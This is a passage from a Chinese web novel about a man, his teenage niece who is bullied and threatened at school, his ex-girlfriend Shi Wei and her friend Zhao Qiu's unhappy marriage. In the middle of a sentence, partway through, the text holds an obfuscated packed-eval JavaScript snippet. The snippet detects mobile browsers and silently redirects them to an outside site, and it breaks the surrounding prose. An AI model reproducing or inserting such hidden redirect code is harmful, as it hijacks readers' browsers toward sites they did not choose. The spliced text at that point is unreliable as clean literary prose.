最后什么也没继续,她直接睡了。因为又收到了那人的邮件,她没看内容就删了。躺床上,她想着:我不哭,我明明很好命,现在过着平静简单的生活。 梁挥去接晚自习下课的外甥女婷婷,提前在学校门口停车等着。车里听的电台在播梁静茹的歌《第三者》,梁挥本来因为天气闷和等孩子就烦躁,他现在更焦躁了,忍不住写写删删,还是把邮件发给了前女友。 梁挥看到婷婷和一个男孩子在学校旁边的晨光文具店笑嘻嘻地小打小闹,他下车了,扯着嗓子对着马路对面大喊一声“梁莹婷”。婷婷看到他后轻推了那个小男生一下,小男生嬉皮笑脸地躲过了,婷婷和小男生告别后向这边车子走来。 在车上,梁挥忍了半天还是说了:“婷婷,你现在高一,心思还是放学习上。青春期异性接近期可以理解,不是说不可以,我只是建议现在还是不要谈恋爱。长大了好男生很多的。” 婷婷从上车就没理过梁挥,被说这么一下子受不了,说:“你怎么比梁爹爹还爹爹婆婆的,他嫌死个人但他不和我们一起生活,你天天来接我,那我不天天要听你裹着我说啊?” 梁挥不解,不就是很正常说了一下嘛,又没有责怪她,说:“舅舅不是怪你,只是建议。你还小,要以学习为主。可能你比较简单真诚、心思单纯,但是不知道对面别人安的什么心。你要是谈恋爱能和对方一起进步、开开心心,舅舅也是支持的。现在的小男生嬉皮笑脸的能有几个好的?别人真的好的人,心思根本不会在谈恋爱上。” 婷婷这下更生气了:“别个不真诚你真诚?别个不单纯你单纯?长大了好男生多得很,你是什么好大人吧?你好意思说别个?” 婷婷抽了张座位旁的抽纸擤鼻涕,本来不想继续说的,因为梁挥回了她,问她到底是什么意思,婷婷怒了,把一包抽纸往地上一摔,回道:“你们屋里人都这样,天天说这个那个,天天说别人这不好那不好,别人不单纯真诚,未必你也比贾府门口的石狮子干净吧!妈妈结了三次婚,你也离婚了,你们把婆婆搞得天天哭,家里鸡飞狗跳是我这个属牛的搞跳的吗?是你这头豚。我告诉你,15班的尤敏是小唯阿姨的妹妹,她们班没教养的男生嘴巴恶心人,乱用小唯阿姨骂她。舅舅?呵,你是害人精!” 婷婷说完要梁挥停车,拼命拍玻璃窗,梁挥压着脾气怪她:“婷婷,你怎么这样说话?你从小到大我对你不好吗?大人的事你不用管,你有什么好哭的?” 离小区还有五十米左右,婷婷提前下车,梁挥也没管车乱停了,一路跟着孩子走。婷婷要他别跟着,说如果真担心她,梁挥就得有本事要梁悦不要总是半夜回家,天天要梁挥接送。最后梁挥把给娃带的夜宵挂在门上。“婷婷,你安心学习和生活,家人都很爱你。不管发生什么事,希望你能信任家人,有问题要寻求我们的支持和帮助。舅舅不是什么好大人,也许不知道如何表达,但是舅舅和你妈妈都希望你开心和健康。钱记烧烤挂在门上了,舅舅走了,你记得拿。”发完短信,梁挥回到车上觉得很疲惫。 窗外下起了小雨,他不想再想什么了。对,回家。石挥又觉得自己没有家了,那是一间房和一张床,不是家。 那天晚上石挥是在阳台的沙发上睡的——本来他只是在那边坐着喝啤酒,晚上风特别大,想着就躺一小会儿吹吹吧,醒来是第二天,把他自己惊了一下。这小子当然感冒了。之前石唯家一套皮沙发太老了,破破烂烂的,只有那个单人沙发还是好的就留下来了,梁挥帮她一直挂二手平台,标价五十也没卖掉,让他很郁闷。那时候石唯很喜欢那个沙发,说也不算大,搬到梁挥家阳台可好了,平时晚上一个人坐着吹吹风喝喝啤酒多惬意啊! 梁挥连打了几个喷嚏,现在他很想石唯,他好想她抱抱他。打开手机看了很多次,在期待什么呢?明知道发出去的邮件不会有结果。 石唯发给陈齐的三个小样都通过了,陈齐要她再辛苦一下,到月底再出二十个左右的样品。石唯已经没有情绪了,月底还有不到十二天,除了打样还有别的工作要处理,也许她是什么钛合金一样的厉害金属吧。 她午饭后没有休息,在样品室忙碌,陈齐这时候回来了。他交待了一下接下来样品的具体计划,又准备出去了,末了递给石唯一个盒子,从操作台推到石唯那边方向。“口口啊,我和这个女朋友又掰了,小玩意儿就实惠你了。”说完便走了。 石唯打开是一对铂金耳钉,很经典简约,绕着像花儿绽放的那款。要是从前,石唯会高兴的。她把盒子合上推到一边,继续干活。 石唯下班回去的时候,电动车轧到钉子了。还好没加班,天色算早,推车到梧桐桥菜市场那边修车铺子去,坐在那边塑料小板凳上等师傅修。 她从帆布包里拿出来陈齐给她的“实惠人情”——小巧可爱的耳钉可以和之前梁挥送的项链的凑一套。 那是一个被舒服的风包裹着的春夜。那时候,石唯因为赶订单进度,有两个月一直住在在工业园区附近外公家的老房子;梁挥每周四、周五都是在小兴路这边所里办公,离他家那边太远,石唯索性把小兴路家里书房改造了下,方便他留下来过夜,备用钥匙也给了他。 那天,石唯终于结束了阶段性的忙碌,回到自己的小窝。梁挥是办完事顺路经过,邀石唯下楼一起吃宵夜,石唯要他还是上楼吃荠菜馅儿小馄饨吧。 石唯在厨房忙活,不要他帮忙打下手,他便去了阳台。他在石唯家阳台吹风,第一次觉得风像无数游动的小鱼儿,轻啄着他的皮肤;风像无数流动的活水,浸湿他的寒毛;风是温热的、环绕的,像吃跳跳糖一般的。风触着他,好舒服,也许风是毛绒绒的。那风的味道呢?像绒绒蓬蓬的棉花糖一样甜。 吃小馄饨的时候,石挥拿出一个盒子打开,是一条绕花形状的铂金项链。有次石唯和他看张曼玉的电影,俩人聊着,聊到了小时候电视台放的广告。石唯说,那时候看电视上pt协会的广告,觉得海边的张曼玉太美了,首饰也好漂亮,还记得那个广告词“喜欢做女人·铂金”。 石唯愣了一下,当初她只是随口一提,还是掩饰不住开心:“怎么突然送礼物我?” “就是想送给你。硬要说个理由,那就是今天三月三,我们这边三月三要吃地米菜煮鸡蛋嘛,那就过三月三吧。”梁挥笑起来左边嘴角有个梨涡,嘴巴像个括号。 “过三月三是农历三月三,今天是三月三日,不是三月初三。”石唯笑起来了,“不过没关系,我们没有地米菜煮鸡蛋,这个荠菜小馄饨挺好。地米菜就是开花的荠菜,嫩荠菜很鲜的。”梁挥的确不知道荠菜和大家叫着地米菜的关系,他也是第一次吃荠菜馅儿小馄饨,小馄饨像一个个矮胖的元宝,那就一起,真过节、过假节吧。 第二天是周四,梁挥想着要不要到这边过夜呢?前两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988371|193651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个月石唯不在,今天她回来了,怕她不自在。想着想着,自己倒是洗漱完毕了。 石唯穿着青梅子印花的无袖长睡裙,坐在单人沙发上看电视,只开了沙发旁古铜色编织镂空圆罩的落地灯,阳台窗子没关,窗帘拉着。窗帘一层是嫩黄色里纱,一层是灰蓝色的亚麻布,风隔着窗帘吹进来,映着石唯的影子和灯光贴着脸儿跳舞。 梁挥径直向书房走去,路过沙发边,低头浅啄了一下石唯的头发,轻声道:“晚安。”石唯拉了下梁挥的右手小指,说完“晚安”就放开,继续看电视,粤东卫视在放《星月童话》。 “就这样吗?”梁挥撒娇般扁扁嘴。 “那要我也亲你的头发吗?你头发都没吹哦,这么湿,要不我帮你吹头发?” 石唯跳起来去卫生间取来吹风机,她把梁挥推到沙发上坐着,开始帮他吹头发。她怕烫到他,吹的时候一直用另一只手隔着。梁挥就这样看着她,石唯让他闭眼免得热风吹到眼睛,梁挥说他舍不得闭眼。 “原来谈恋爱这样好哦,小唯。” “什么,风大听不清。” “原来谈恋爱这么好啊!”石挥大声喊。 石唯关掉吹风机拔下插头,小声说:“神经啦,搞得好像你没有谈过朋友一样哦。”她左边身子靠着沙发手撑在一边,右手掸掸梁挥头发:“现在又干又蓬,完美的浓密秀发,可以原地拍洗发水广告了。” “是大师手法高明,多谢大师。”梁挥左手顺着一拉,石唯扑在他怀里。她坐在他右腿上问他,“这套汉麻睡衣你穿着舒服吗?我感觉这个面料有点扎扎的。” “我觉得还好,非常透气舒适,谢谢你买给我。不过幸好只是裤子面料让你不舒服不是别的。”梁挥笑嘻嘻的。 “天呐,你笑得像蜡笔小新去电视台参观闯祸的那一集,好欠扁。你在钓鱼吧!” 梁挥用手环着石唯,又蹭了她头发两下,“技术不行,你不上钩,勾不过来就用手勾紧一点吧。”石唯想着,你不要笑哦,用梨涡和括号微笑,轻声细语拉线,还是很容易鱼获满满的。石唯亲了下梁挥的鼻尖,再亲了下他的下巴,最后亲了下他的右脸颊,不好意思地把头埋在他的颈。梁挥向后靠,捧起石唯的脸吻下去。 他现在无比期待夏天,青梅酒,青梅果干,雨天粉绿的青梅树,还有小唯穿着青梅棉裙下可以触到的肌肤。电影里在播插曲《flame in my heart》,石唯她也喜欢梁挥轻轻地唤她“小唯”,每一次。她时常想梁挥脾气怎么就这么好呢?他私下偶尔像小朋友一样开朗地撒娇,他很像淡淡的温水,像青瓜味薯片,像她一直渴望的平淡生活。 她咬了他的下唇,他问她怎么了,是不是让她不舒服了。石唯趴在他肩上,张开双手舒展了一下,小声说:“我喜欢。”梁挥问是什么,她并不看着他——她喜欢听他的声音。他开始握住她的手按着自己的胸膛,另一只手绕过她睡裙上那些可爱的、在他眼里莹润的青梅,向棉布里面探去,吻她的颈和肩。 石唯想记住他像这晚的风声一样自由又渴望的细喘声。她还是按止住了他的那只手,“不可以了哦,我这边没有,下次去你那边,你可以提前备一些。今天我去书房睡,你睡好一点的床。”石唯亲了下梁挥的脸颊,抽身挤出他的怀里,说了晚安,跑向书房,又转头咬了他的肩一下:“你是个坏家伙。” 梁挥摸了下自己疼麻的右肩,今天的鱼获是有着鲨鱼牙齿的海的女儿。她轻轻地唤他,摆动着的亮焰鱼尾像鳞片在燃烧,把他卷入沸腾的海水漩涡,又深情地借海浪把他拍到沙发沙滩上。 梁挥躺在卧室床上,草绿色亚麻床单衬得他肤色更白了。原来是窗子没关,月光透了进来。他关上窗子,拉下水蓝色的百叶窗,侧卧在床上,用枕头卷捂住自己的耳朵和脸,头还是热的,整个人汗涔涔的。 手机响了,他摸过来是石唯发的信息:“梁,谈恋爱真的好好哦。晚安,吻你!”梁挥浮起一种单纯的快乐,像十六岁到时候去江滩偶遇了坐轮渡的那个同班女生——当时那种微妙感觉他还记得,那天她穿着白色长裙。他现在很满足、很愉悦,又有一种没由来的心虚,他好怕。 梁挥弹起来,出卧室,跑去书房,路过沙发那边时拖鞋踩到掉在旁边的跳跳糖包装袋还滑了一下。他直接进去抱起还在电脑前整理资料的石唯,去了卧室。 那夜,石唯是枕着梁挥胳膊,睡了一晚很饱的觉。梁挥一晚上没动,总是过一会儿就醒来,看着熟睡的爱人。 石唯要早起赶着去园区上班,醒过来发现梁挥也是醒着的,她抬了下头,搬起石挥的胳膊揉了揉,然后挨过去,离他更近了:“胳膊酸不酸?我要起来去上班啦,你多睡一会儿吧。”石唯用脸蹭了下梁挥的下巴,她起身出房门时,回头看梁挥侧着身子转向门这边看着她,她停了一下,还是充满活力地笑着,让他再睡一会儿,说他现在依依不舍,是还没睡好作祟。 石唯不明白,梁挥为什么总是用这种眼神看着她。那个眼神怎么说,很复杂,好像在讲:“我想抱你,我要爱你,我们最后永远不能在一起。” 那天在路上骑电动车的时候,她想着也许自己想多了,真划不来,七想八想错过了沙桥路那边的早点铺子。 回过神来,师傅给石唯换了个车胎。要不是这么轧了钉子,都不知道内胎已经老化得像木头要腐了一样,太危险了。是因祸得福吗?石唯付好钱,骑车离开。 4. 梅雨季 赵秋从业务部门调到了行政部门。她写材料,流转一下文件,本以为轻松了些,至少没有业绩压力,结果只是开始…… 妈妈给赵秋打电话了,说她太久没有联系家里,也不问候下。她回道:“工作比较忙,十几个部门的东西要催几天才能汇总。还有领导临时派的活,开会领导一说几个小时,我得边录音边整理成文字材料。” “那也不能这样啊。你以后有了小孩,娃总是不联系你,我看你心里怎么想?”妈妈不太高兴。 加完班晚上八点了,赵秋去了娘家。小区的这棵泡桐树很多年了,从她们家搬过来就长得很大。泡桐花很香,每年开花,小区里都有老太太来采,说是可以吃。只有这些树和花才知道灯火里每一家无法倾诉的浮城旧事。赵秋看了眼树上一串串白紫的小喇叭,走进单元楼里。她连续跺脚几下让声控灯亮起来。 敲门后是妈妈开门,爸爸不在家。江群一边接过女儿手里提的水果,一边说着干嘛还买东西来。赵秋找不到拖鞋,江群拆了双一次性拖鞋给她,说之前鞋柜乱得很,都已经收起来了,就留了自己和赵秋爸爸的两双拖鞋。母女两人在沙发那边说话,都是江群在说。 “你真是不晓得。你看厨屋那边,喏,那堆菜。你大姑妈真是有意思,不知道从哪里搂过来的这堆菜。她说今天来市里有事,带点菜来这边看我们。”江群边说边把洗好的那盘小番茄推到赵秋那边。 “大姑妈也是好意。乡下蔬菜都是自己种的,不打农药,多好。”赵秋拿起一个小番茄送嘴里。 “哎呀,那个包菜哦,不是我说,是么斯不得了的好东西吧?破烂叶子被虫子啃得像野胡萝卜花!” “当然是好东西,就是没打药水才有虫子啃出密密麻麻的洞。在花店,和野胡萝卜花很像,比它大的那个还叫蕾丝花呢。菜叶子像野胡萝卜花没什么不好的,新鲜好吃就行。现在菜卖得也不便宜,大姑妈拿过来是她的心意。前段时间,小唯还给了我好些春菜呢,也都是家里种的。”赵秋劝着。 “石唯?话说,这孩子还没结婚吗?那她妈妈该多着急!家里伢不团圆,做父母的总觉得自己是第一责任人,外头的人肯定也都要议论父母怎么当的,怪父母完全不操心。”江群忧心地啧了声。 “还没有。您就不说这了嘛。”赵秋止住话头。 江群打开电视,随便调了下台,一个地方电视台在播老剧《哑巴新娘》。她看着电视道:“秋啊,你还是多和你妹妹联系,她和你总是话多些。上大学了,这孩子一个月也不给我和你爸打一次电话,给她发微信嘛,问她什么就回什么。要我说,就算是衣服拧干了也能挤出两滴水,这伢硬是说不出几句话。”见赵秋没搭腔,江群朝她倾了下身子看着她,“这样子我也不晓得妹妹在学校什么情况:缺不缺什么?人际么样子?过得开不开心?妹妹这专业,你表舅说蛮有前途的。我想着,她好好学习就行了,其他的我要给她保障好。你还是多和妹妹联络感情,多了解下她情况。” 听了这话,赵秋回江群道:“您之前打电话我,说妹妹的电脑坏了,我已经给她在网上买了新的,她收到了。夏天快到了,额外给了三千块钱她,让她买衣服穿。我工作太忙了,以后我尽量多关心她。” 江群笑着点点头,说着:“这挺好,这好。电脑多少钱?我转给你吧。”接着她问赵秋要不要喝点水,起身去餐桌那边倒水。 “上个星期有一天,三十几度哦,像蒸笼一样热。隔天降温到九度,夜里还下了雪籽子。今年的天道真是稀奇。到梅雨季的时候不知道是不是更惹人嫌。”江群开始扯闲话,拿着倒好的水,笑着转身迎向赵秋。 赵秋表示不用转钱自己,她晚饭还没吃,还是先回去了。 江群惊了下:“是不是之前,单位给你爸打电话那事?现在怎么样了?每天还是搞这么晚下班啊?” 电视剧已经播完一集,开始放新一集。整个屋子环绕着“燃烧,燃烧,燃烧,为何,为何,为何”的声音。 赵秋向门边走去,摆摆手说:“没什么事,不做业务后薪水少些罢了。”江群赶上前,叮嘱赵秋回去了要吃东西。末了,又回头看眼厨房,问赵秋:“要不要把大姑妈给的菜带一些走。”赵秋推辞了,她不再说什么,带上门走了。 走在路上,风微微凉。行道旁的法桐都是婴儿巴掌般的新绿春叶,树上的小果子是暗夜里的猫眼。道路旁支起了一个卖现炸虾馓子的小摊子,粗木材投进炉子里,锅里的油烫着大大小小的泡泡。赵秋买了一袋刚炸出来、油汪汪的馓子。 电话响起,是妈妈。 “秋啊,今天只顾着讲妹妹,你走得急,还没说到你。你结婚好几年,该要个孩子了。人怎么能不生孩子?你和杜雨也可以先去医院检查一下。”电话那头是江群关切的声音,“未必你婆婆不催你吧?之前和他们住一起不是挺好的,至少每天回家饭有人烧好,家务也不要你操心。我也不晓得你们为什么硬是搬出来了。现在你看也没过多好的样子。” 赵秋敷衍着,后来把电话挂了。她边走边拆开袋子,掰下几根虾馓子吃起来。 要从什么时候讲起呢?赵秋是在五年前的梅雨季结婚的。 复州的梅雨,滴滴答答,折磨起人来也是细细密密——钝刀子割肉。天气湿乎乎的,像老式电饭锅开盖子,蒸汽糊人一脸。或许还比这都不如:蒸汽烫人时,还能赶紧把锅盖子掀了跑掉;这天气是低温冷烫的烫,等你察觉到不对劲,就跑不脱了,恨不得要给你起几个大水泡来。 结婚前几天,母亲一直在忙妹妹的事,三个姑妈倒都来帮忙了。 婚礼前一天,妹妹赵程锦从学校请到假,和母亲回家一起帮忙。江群和姑姐还有小姑一起清点着东西,笑着对她们讲:“锦程心里有她姐姐的。她在理科竞赛班,班主任严得不得了。要不是她成绩好,老师才不准她假呢。她还挨了一顿训,我儿也硬,说搞学习搞得没了人情也不行,自己姐姐结婚不比这几天课重要啊。”说罢,略显骄傲地笑起来。 大家附和着笑,赵秋的大姑妈埋头清点没注意听,看大家都在笑,她就笑到最大声。 石唯在做气球装置,她是从外地赶回来的,去西南出差了一个月,人看上去瘦瘦黑黑的。赵程锦按她吩咐帮忙,在一旁用氦气打气球。两个粉粉的氦气罐像缩小版的煤气罐,不同的是,这罐子沾了婚礼的幸福光,像两头吉祥可爱的小猪。赵秋在后面看着她们,石唯站在椅子上回头看了眼赵秋,笑着说道:“怎么了?我装歪了吗?还是你看我晒黑了?我现在好黑好丑了吧?” “好看的,像暗夜里的玉兰花。”赵秋淡淡的笑眼看着她。 “呀,你真是的!我这辈子还没听到过像你这种像样的情话呢。”石唯说完,和赵程锦对视一眼,两人大笑起来。 “暗夜之女,这很像天蝎。”石唯自嘲道。 赵秋要石唯别笑着摔下来,之后,一个人去了书房。书架最顶上那对粉蓝色的木雕鸭子落了不少灰,好几年前石唯去外地,以为是鸳鸯才带过来送给她。她觉得自己被嵌进了墙里,和这一切隔绝开了;房间外头的每一个人都很欢欣,他们忙碌着,他们期待着,他们的动作和语言、表情和态度替她表演着一幕剧。赵秋告诉自己,她是为了幸福才结婚的。 婚礼当天,忙忙碌碌,很多事情稀里糊涂地也顺利完成了。 证婚人是江群的本家伯父。江群母亲早亡,父亲在她十几岁就不在了,全凭大姐辛苦撑着,家里姐妹几人很团结。父亲有个大哥,在五十年代的战争中立了军功,全家早就离开故土,说是在金陵一个不小的官职上退休的。人对在遥远他方他人的成就,总是会放大想象;是质疑还是相信,取决于你对 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赵秋当然是美丽的新娘子,她双手握着师姐杨树奇专门为她准备的瀑布手捧花,白色蝴蝶兰的花瓣在礼堂的强光下像被浸过莹润的泪泉。她遥看了眼自己的母亲,也许因为是大喜的日子,江群的脸色红润,还映出了和年纪不符的光泽——平静慈爱如水月观音。母亲的眼里有泪,不是刚才在家里等待迎亲团来时看着赵秋的一丝不舍与疼爱,是充满希望的一点儿振奋。 两个做伴娘的表妹芸芸和心心是疲惫里透着开心,特别是芸芸,她盯着自己的伴娘手腕花——不认识的花材组在一起轻轻柔柔,透薄的真丝丝带绕过女孩可以看到蓝色静脉血管的粉白皮肤,扎起一个蝴蝶结,蝴蝶结的两条长长尾巴垂下,浅浅地挠着像儿童塑料汽车玩具一样坚固的空气。没有丢手捧花的环节,手捧花是在台上送给了表妹芸芸,芸芸大大方方地在台上致词。芸芸在后台问杨树奇,手腕花上那个丝丝的、像烟花的粉花叫什么,杨树奇告诉她是南非新娘花。轻盈像云朵的花容易引诱人发盛大的梦,不知道梦里是自在还是沉重。 婚礼结束,赵秋的小姑和江群告别,她要和女儿心心赶回江陵,“嫂子,你真享福。秋秋结婚了,就等程锦考个好大学。” “程锦争气的,她成绩好。我堂哥说她女孩子理科这么好,真是了不起,要她考到金陵去。”江群的声音充满笃定,是虔诚教徒对神的信念。 赵秋同杨树奇还有石唯道别,杜雨微笑着挽着妻子的胳膊。石唯对赵秋说:“我最感动的是婚礼开始前,你在酒店换衣间换好婚纱出来,杜雨对你张开双臂‘来,抱一下。还是我过去吧。’然后跑向你,抱住你。”杨树奇表示认同,说可能和石唯的触动点一样,她也最爱那个时刻。 赵秋看了眼杜雨,爱人的怀抱是闷热梅雨季最不让人排斥的温热,她想,她是为了幸福才结婚的。 就这样边走边吃,馓子居然吃得差不多了,还剩下一点边角渣。在电梯里,赵秋闭上眼睛——她的生活好像是一直在维修的电梯,看上去是那么好、那么省事的生活。 小时候看电视,“海外剧场”栏目有两年总放日剧。妈妈说好羡慕剧里的太太可以悠闲地织毛衣,家里还有宠物和烤面包的机器,她说这才是幸福。 赵秋再一次觉得自己被嵌进墙里,想着妈妈也认为自己是幸福的吧。 杜雨已经回来了,桌上是洗好的新鲜草莓,还有削好皮的荸荠——荸荠应该是商家处理好,他买的现成的。书房里传来打游戏的声音。 赵秋没有换鞋,也没有放下包,她快步走到书房那边,门是开的,她直接进去,把电脑关了。 “你可以不要总是这样吗?”赵秋已经尽力压低声音。 杜雨不说话,也不动,更不看她。赵秋受不了这沉默,回房去,锁了门。她靠在门上,蹲下来哭泣,却哭不出声音。原来人很气的时候,会哭着想笑。 她的生活,是裱起来挂在墙上的一条美丽柔软、印满花果的丝巾。 5. 兜圈 春天结束了 周六这天,赵秋被喊去单位加班,她心里一万句脏话想骂出来。 下午刚忙完就接到电话,以为又是哪个催命领导,结果是房客小孩打过来的。之前都是孩子的舅舅或妈妈联系她。 房子租出去两年,她和这户人家一直相处和谐,对方房租按时打给她,只有东西坏了需要维修时,她会自己或带师傅过去,非常省心。 周日早上,赵秋吃过早饭就过去十一中那边的房子。她记得空调保修期是三年,房客小孩说有问题的空调是两年前换的新空调,还在保修期,所以昨晚接到电话了解情况后,她打算自己过去看看,并拨打保修电话。 进小区大门,穿过小花园和喷水池,很快就能到9号楼。小区里柚子树和橘子树都开花了,非常香,难怪闻不到门口苦楝树花的漾人气息——是被果树花香盖过了。 赵秋到了402门口,按了门铃,里面没动静。她想照着昨天电话号码拨过去时,手机响了。 “赵阿……赵姐姐吗?是你在我门口敲门吗?”房客小孩婷婷的声音传过来。 “是呢,我过来看看。吃过早饭了吗?给你端了碗面上来。”赵秋想着小孩一个人在家遇到问题也挺可怜的,她妈看着是个大忙人,之前好像说舅舅会经常接送的,这次怎么让小孩一个人在家好几天。 婷婷解开反锁的门,拉了一条缝,看到是赵秋才放心地打开门。打过招呼后,她给赵秋拿了自己妈妈的拖鞋。赵秋换好鞋,问婷婷是房间的空调有问题,还是客厅的空调也坏了。她走到客厅空调旁,拿起遥控器调了调,发现空调是好的。她本来想征求婷婷意见去孩子房间看看,却看到婷婷局促不安的样子。最近天气虽热,但好像还没有要到开空调的程度。 “赵阿……姐姐,我房间的空调其实没有坏。”婷婷内疚又害怕地看着赵秋。 “嗯?没事,你叫我阿姨就好。怎么了吗?” “赵阿姨,你能不能在我家待一会儿,我害怕。”婷婷扭过头不敢看赵秋,快要哭出来了,“我不知道找谁帮我。” 这时,急促的敲门声响起。赵秋看向门那边,婷婷拉着她的胳膊,央求她千万别开门。 “婷婷,是我。我和我姐姐一起,小唯姐姐你认识的。”尤敏的声音传过来。 婷婷稍微放松了些,松开拉着赵秋胳膊的手。赵秋的袖子那边鼓起了一小块,皱皱的,有一块汗渍。她看了眼婷婷,示意她先去沙发坐着,然后去开门。 石唯看到赵秋愣了一下,两人都一头雾水。尤敏进门就直奔婷婷过去,问她怎么样,让她不要害怕。 俩孩子断断续续把事情说给赵秋和石唯听,她俩也基本理顺了情况。 婷婷的妈妈梁悦做服装生意,非常忙,经常去外地出差。这次去韩国打货和买版要一个礼拜。平时梁悦也忙生意,很晚回家,所以一直是婷婷舅舅每天接她下晚自习。这次舅舅也出差了,这几天都是她一个人在家。 婷婷和石唯的表妹尤敏是好友,初中三年同班,高中同校不同班,原本关系一直很好,却因一些事情疏远了。 当然,赵秋之后就知道是因为石唯了。 婷婷的妈妈对她很严格。因为太早生了她,之后又和婷婷父亲离婚,所以梁悦总担心小孩学坏。至于什么是梁悦认为的“坏”,可能是不希望婷婷过早谈恋爱,走上她的老路——在这方面,梁悦是过度焦虑了。 梁悦工作一直很忙,压力也大,对小孩没有什么耐心,却有莫名其妙的高要求。婷婷成绩还不错,梁悦并没有花太多时间在孩子的生活和学习上,却总觉得孩子不够完美:比如会责备婷婷“怎么走路有时候会驼背”“是不是自卑”“看上去不开朗”“没有什么精神气”。婷婷不理解,为什么没有给她提供稳定环境的妈妈会变着花样挑自己毛病;有时候走路会驼背,和自卑有什么关系?她不觉得自己有什么好自卑的。所谓“不开朗”,是面对一个很少关心自己生活、难得有空交流就开始不满意自己种种的妈妈,根本开朗不起来。梁悦把太多自己的焦虑投射在孩子身上,她对婷婷不满,也许不是婷婷本身怎么样,而是她太害怕婷婷重蹈自己的覆辙。 婷婷什么也不想、什么也不敢对她妈妈说,她知道妈妈一定会让她自己找原因,不会提供什么帮助,尽管妈妈在给钱上是很舍得的。再说,她妈妈不一定愿意分点时间给她。 赵秋和石唯都觉得,现在的高中生比她们十几年前念高中时难多了。婷婷所在的学校早上六点四十五开始早读,晚自习到晚上十点半才下课,每两周放一次双休假,还可能有补课。难以想象孩子们每天像坐监一样的生活,这样的学习强度实在太大。 婷婷和尤敏不在一个班。尤敏班上有男生听说关于她表姐的传闻,便时常拿这件事起哄,这让尤敏非常困扰。婷婷和尤敏也是因为这件事心照不宣地疏远了。 婷婷班级有女生在休息的时候玩一款乙女游戏,赵秋和石唯听到后面也没弄清楚是什么游戏。婷婷提到,有个原本和她关系不错的女生推荐她玩这款游戏,但两人玩的是同一个游戏角色,对方因此大为恼怒,联合班级其他玩这款游戏的同学,指责婷婷是故意抢角色,说她低劣恶心。渐渐地,班级里这些女同学不再和婷婷说话,也不许其他相熟的同学和婷婷来往。甚至婷婷去饮水机打水时,都有人装作不经意地挡在她前面。 赵秋和石唯有些被绕晕了,毕竟和现在的高中生隔了十几年,既不理解什么是乙女游戏,也不懂虚拟的互动为何会牵扯现实中的人际矛盾。 总之,婷婷在班级里习惯了这样。好在她成绩好,各科老师都对她很友好,让她在这样的环境下有一点缓冲。但也因此,背后有了“装模做样”和“自以为是”的议论。婷婷满心无奈:因为成绩好,她不至于得不到一点支持,那成绩不好的人呢? 赵秋和石唯沉默了——作为应试教育下的过来人,她们的身体里都有一种烧成灰也会渗进泥土里、析不出去的记忆。 在这之后,婷婷和楼下十四班的一个叫阿齐的男生,来往比较频繁。他们是初中校友,初中时婷婷和阿奇、尤敏在同一个画室学画画,是很熟悉的朋友,所以互相加了社交账号,一直有联系。阿齐性格活泼,每天晚自习后拿到手机时,两人会互发消息。 婷婷是开心的,她觉得自己的生活像街上雨水排水沟铁盖的缝隙中窜出的植物,有了很新的、清爽的、充满希望的气息。 每天下晚自习,阿齐会在楼下教室后门等她。两人一起走到校门口,说会儿话,等她看到舅舅来接她,再各自回家。 班里有个男生曾向婷婷表达过好感,被她婉拒。后来那个男生见婷婷和阿齐走得近,开始在班级散布一些消息。婷婷听到了许多关于自己的奇怪传言,说她“两头骗”。传言越来越夸张,原本就疏远她的同学们也更加确信自己的“正确”,这让她们的关系变得更紧密。那男生坚信自己的行为是“为了正义”。 婷婷觉得荒谬:哪有那么多不得了的“正义”?他们只是借机发泄情绪罢了。就像有人用石头投掷路边的流浪狗——不是流浪狗做了什么,而是他们享受挥掷的刺激。只要一口咬定“流浪狗有疯狗病”,这不是很容易吗? 上周,那个男生又故意在走廊的另一头,和几个男同学含沙射影地议论婷婷。婷婷忍不住了,冲过去直视他:“什么意思,有本事当面说。”男生摊摊手,左右看看大声说:“你们看,她自己对号入座哦。” “你说的话,我都听清楚了!别人的痛苦不是你无聊的八卦。连几分钟视频解说都没耐心看完的人,能有什么理解能力?”婷婷扬着头回击。 “我说什么了?你反应这么大?你算什么?”男生想推开婷婷。 婷婷继续说道:“敢说不是你造的谣?” 这话不知触动了男生的哪根敏感神经,他狠推了婷婷一把:“是又怎么样?你像个精怪,你也配说我?” 两人扭打在一起,围观的男同学有的看热闹怪叫,之前孤立婷婷的小团体在一旁笑着窃窃私语。搞不清楚状况的同学们怕被沾上,赶紧远离他们,零星几个怕出事的,去找了老师。 婷婷占了上风——174公分的个头不是白长的。班主任赶来分开两人,那男生还持手舞脚嚷着:“你跟老子等到!” 临近月考,老师没空深究,只当这是小的口角纷争,严厉批评了两人,口头警告了几句。 昨天放假,婷婷收到阿齐的消息,约她去商场唱歌。原本他们约好抓娃娃,婷婷放假常和阿齐逛商场、抓娃娃或去公园散步,唱歌倒是没想过,虽然很多同学去过 KTV,可婷婷只在过年时随家人去过。 婷婷没多想,来到约定的 KTV包房,发现除了阿齐,还有三五个不认识的男生,以及那个造谣的“瘟神”。 她想出门时,门已被一个男生堵住。阿齐明显被揍过。 “你不是很嚣张吗?”“瘟神”得意地笑。 婷婷不语,只有愤怒。最后因服务员送果盘进来,她才趁机逃脱。说不害怕是假的,说对阿齐不失望也是假的,尽管她猜想阿齐和她一样被吓懵了。 跑回家的婷婷整个人都是木木的,她很慌,不知道该怎么办,只能把门反锁,又用椅子抵住,不放心又叠了一个椅子在上面。一想到KTV包间里面“瘟神”说的“刘苗告诉我了你家的地址,走着瞧”,她就特别害怕。 慌乱中,看到客厅空调上贴着的赵秋名片,才拨通了电话。 阿齐是在商场等婷婷时,被刚从游戏厅出来的“瘟神”一伙盯上的。KTV就在同一层,几人架住阿齐进了包房。昨天的事,包房里点的酒水吃食,全是阿奇付的钱。 尤敏是听到班里关于十二班的传闻后,得知婷婷被造谣的。她很气愤那些同学,这之后每天大课间她都会去婷婷教室找婷婷,和她说会儿话,每次都给她带一包彩虹糖。 